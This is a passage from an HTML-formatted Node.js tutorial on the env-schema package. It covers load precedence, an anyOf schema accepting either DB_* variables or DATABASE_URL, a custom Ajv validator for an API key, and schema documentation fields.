&lt;p&gt;Now that we have a basic understanding of how to use &lt;code&gt;env-schema&lt;/code&gt;, let’s explore other useful practices for managing configuration in Node.js apps.&lt;/p&gt;
&lt;h3 id=&quot;data-loading-precedence-in-env-schema&quot;&gt;Data loading precedence in env-schema&lt;/h3&gt;
&lt;p&gt;One essential aspect of configuration management is determining the order of precedence for loading data from different sources. With &lt;code&gt;env-schema&lt;/code&gt;, the order of precedence is as follows, from least significant to most:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Data sourced from a &lt;code&gt;.env&lt;/code&gt; file (when dotenv configuration option is set).&lt;/li&gt;
&lt;li&gt;Data sourced from environment variables in &lt;code&gt;process.env&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Data provided via the &lt;code&gt;data&lt;/code&gt; configuration option.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As such, any configuration parameters provided via the &lt;code&gt;data&lt;/code&gt; option will always take precedence and override any other values from either the &lt;code&gt;.env&lt;/code&gt; file and process’s environment variables.&lt;/p&gt;
&lt;p&gt;By understanding this precedence, we can ensure that our application’s configurations are correctly loaded.&lt;/p&gt;
&lt;h3 id=&quot;supporting-dual-parameters-for-the-same-configuration&quot;&gt;Supporting dual-parameters for the same configuration&lt;/h3&gt;
&lt;p&gt;In some scenarios, you may encounter applications that offer multiple ways to configure the same functionality. For example, instead of specifying individual database configuration variables (&lt;code&gt;DB_USER&lt;/code&gt;, &lt;code&gt;DB_PASS&lt;/code&gt;, &lt;code&gt;DB_HOST&lt;/code&gt;, etc.), you might have a single variable called &lt;code&gt;DATABASE_URL&lt;/code&gt; that contains all the necessary information. This approach is common, especially in platforms like Heroku.&lt;/p&gt;
&lt;p&gt;To support both methods of configuration, we can use the &lt;code&gt;anyOf&lt;/code&gt; schema declaration as part of our required fields. Let’s modify our previous schema to accommodate the &lt;code&gt;DATABASE_URL&lt;/code&gt; option:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;object&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  required: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;PORT&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;HOST&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  anyOf: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      required: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DB_HOST&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DB_PORT&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DB_USER&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DB_PASSWORD&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DB_NAME&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      required: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DATABASE_URL&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this updated schema, either specifying individual database variables or providing a &lt;code&gt;DATABASE_URL&lt;/code&gt; will be considered valid, making your application more flexible in different environments.&lt;/p&gt;
&lt;h2 id=&quot;custom-validators-in-env-schema&quot;&gt;Custom validators in env-schema&lt;/h2&gt;
&lt;p&gt;When working with configuration management in Node.js using env-schema, most built-in types would work great out of the box. However, there are instances when your application requires more specialized validation for specific configuration variables. This is where custom validators come to the rescue.&lt;/p&gt;
&lt;p&gt;Custom validators allow you to define your own validation logic, tailoring it precisely to your application’s needs. Let’s dive into how you can create and use custom validators with env-schema.&lt;/p&gt;
&lt;h3 id=&quot;creating-a-custom-validator&quot;&gt;Creating a custom validator&lt;/h3&gt;
&lt;p&gt;To create a custom validator, you need to provide a validation function that accepts a value and returns true if the value is valid or an error message as a string if it fails validation. The error message will be displayed when the configuration variable fails the validation check.&lt;/p&gt;
&lt;p&gt;We are going to use Ajv custom validators for this and pass our own Ajv instance to env-schema. Create a &lt;code&gt;config.js&lt;/code&gt; file with the following contents:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;envSchema&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;env-schema&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Ajv&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;ajv&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;validateApiKey&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;data &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;typeof&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; data &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;string&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; data.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    validateApiKey.errors &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        keyword: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;apiKeyValidation&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        message: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;API key must be a non-empty string of length 32.&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Create a new instance of Ajv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;ajv&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Ajv&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ allErrors: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, removeAdditional: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Add the custom validation keyword&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;ajv.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;addKeyword&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  keyword: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;apiKeyValidation&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  validate: validateApiKey,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Schema definition with custom validator&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  properties: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    API_KEY: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      default: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      apiKeyValidation: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Use the custom validation keyword&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Applying the schema to environment variables&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;envSchema&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ schema, dotenv: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, ajv });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(config);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, the &lt;code&gt;validateApiKey&lt;/code&gt; function checks if the API key is a non-empty string and has a length of exactly 32 characters. If the validation fails, it throws a &lt;code&gt;ValidationError&lt;/code&gt; with a descriptive error message. Otherwise, it returns true, indicating that the API key is valid.&lt;/p&gt;
&lt;p&gt;Next, create a &lt;code&gt;.env&lt;/code&gt; file in the same directory with an API_KEY definition:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;API_KEY=1234&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally, run the config code to see the validation in action:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;node config.js&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;An error should be thrown similar to the following, indicating that the API key is invalid:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;/projects/env-schema/node_modules/env-schema/index.js:86&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    throw error&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ^&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  Error: env/API_KEY API key must be a non-empty string of length 32.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  errors: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      keyword: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;apiKeyValidation&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      message: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;API key must be a non-empty string of length 32.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      instancePath: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/API_KEY&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      schemaPath: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#/properties/API_KEY/apiKeyValidation&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By incorporating the custom validator into your schema, env-schema will automatically apply the validation function to the API_KEY configuration variable during the validation process.&lt;/p&gt;
&lt;h2 id=&quot;schema-documentation-with-env-schema&quot;&gt;Schema documentation with env-schema&lt;/h2&gt;
&lt;p&gt;There are times when configuration schemas can become complex, making it challenging for team members to understand the purpose and expected values of each configuration variable.&lt;/p&gt;
&lt;p&gt;To address this issue, the schema configuration, supported by Ajv, provides two handy properties for adding documentation to your configuration schema: &lt;code&gt;examples&lt;/code&gt; and &lt;code&gt;description&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;examples&lt;/code&gt; property allows you to provide usage examples for each configuration variable in your schema. These examples showcase the format and expected values of the configuration, making it easier for developers to understand how to set up the environment variables correctly.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;description&lt;/code&gt; property enables you to include a brief description of the configuration variable’s purpose or usage. It acts as a quick summary that provides context and clarity to developers regarding the significance of each configuration setting.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can build upon the above example to include these documentation properties for the &lt;code&gt;API_KEY&lt;/code&gt; configuration variable:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Schema definition with custom validator&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;object&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  properties: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    API_KEY: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      default: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      apiKeyValidation: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Use the custom validation keyword&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      description: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;API key for accessing external services&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      examples: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;env-schema&lt;/code&gt; npm package offers a fantastic solution for managing configuration in Node.js applications. By defining a schema for your environment variables, you can ensure that the correct configurations are in place for your app to run smoothly. Its validation and data loading precedence features give you confidence that your application starts with a valid and consistent configuration.&lt;/p&gt;
